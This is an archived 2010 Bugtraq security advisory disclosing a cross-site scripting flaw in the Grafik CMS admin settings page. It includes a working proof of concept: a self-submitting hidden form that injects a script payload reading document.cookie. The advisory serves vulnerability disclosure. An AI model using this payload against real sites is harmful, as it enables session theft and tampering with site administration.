[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    XSS vulnerability in Grafik CMS
From:       advisory () htbridge ! ch
Date:       2010-06-29 8:06:04
Message-ID: 201006290806.o5T864eW081743 () htbridge ! ch
[Download RAW message or body]

Vulnerability ID: HTB22438
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_grafik_cms.html
Product: Grafik CMS
Vendor: GrafikPower
Vulnerable Version: 1.1.2 and Probably Prior Versions
Vendor Notification: 14 June 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing \
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly \
sanitize user-supplied input in "description" variable. Successful exploitation of \
this vulnerability could result in a compromise of the application, theft of \
cookie-based authentication credentials, disclosure or modification of sensitive \
data.

An attacker can use browser to exploit this vulnerability. The following PoC is \
available:

<form action="http://host/admin/admin.php?action=settings" method="post" name="main" \
>  <input type="hidden" name="name" value="site title" />
	<input type="hidden" name="admin_mail" value="example@example.com" />
	<input type="hidden" name="keywords" value="" />
	<input type="hidden" name="description" \
value='descr"><script>alert(document.cookie)</script>' />  <input type="hidden" \
name="site_url" value="http://www.example.com/" />  <input type="hidden" \
name="seo_url" value="0" />  <input type="hidden" name="mailing" value="1" />
	<input type="hidden" name="template" value="templates/default" />
	<input id="sbmt" type="submit" name="submit" value="Valider" />
</form>
<script>
document.getElementById('sbmt').click();
</script>


[prev in list] [next in list] [prev in thread] [next in thread]